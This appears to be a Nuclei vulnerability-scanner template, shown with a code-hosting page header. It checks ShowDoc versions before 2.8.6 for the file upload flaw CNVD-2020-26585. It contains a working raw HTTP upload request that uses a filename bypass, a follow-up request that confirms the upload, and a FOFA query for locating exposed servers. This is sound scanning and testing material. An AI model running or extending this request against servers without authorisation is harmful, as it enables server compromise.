66 lines
1.8 KiB
YAML
66 lines
1.8 KiB
YAML
id: CNVD-2020-26585
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info:
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name: Showdoc <2.8.6 - File Uploads
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author: pikpikcu,Co5mos
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severity: critical
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description: |
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ShowDoc is an online API and technical documentation tool that is very suitable for IT teams. Showdoc has a file upload vulnerability, which attackers can exploit to gain server permissions.
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reference:
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- https://vul.wangan.com/a/CNVD-2020-26585
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- https://blog.csdn.net/qq_48985780/article/details/122211136
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- https://github.com/star7th/showdoc/pull/1059
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classification:
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cvss-metrics: CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:L/A:L
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cvss-score: 9.9
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cwe-id: CWE-434
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metadata:
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max-request: 2
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verified: true
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fofa-query: app="ShowDoc"
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tags: cnvd,cnvd2020,showdoc,fileupload
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variables:
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str1: "{{randstr}}"
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http:
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- raw:
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- |
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POST /index.php?s=/home/page/uploadImg HTTP/1.1
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Host: {{Hostname}}
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Content-Type: multipart/form-data; boundary=--------------------------835846770881083140190633
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----------------------------835846770881083140190633
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Content-Disposition: form-data; name="editormd-image-file"; filename="{{randstr}}.<>txt"
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Content-Type: text/plain
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{{str1}}
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----------------------------835846770881083140190633--
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- |
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GET /Public//Uploads//{{date}}//{{file}} HTTP/1.1
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Host: {{Hostname}}
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matchers:
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- type: dsl
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dsl:
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- status_code_2 == 200
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- body_2 == str1
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condition: and
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extractors:
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- type: regex
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name: date
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part: body
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group: 1
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regex:
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- '(\d{4}-\d{2}-\d{2})\\/([a-f0-9]+\.txt)'
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internal: true
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- type: regex
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name: file
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part: body
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group: 2
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regex:
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- '(\d{4}-\d{2}-\d{2})\\/([a-f0-9]+\.txt)'
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internal: true |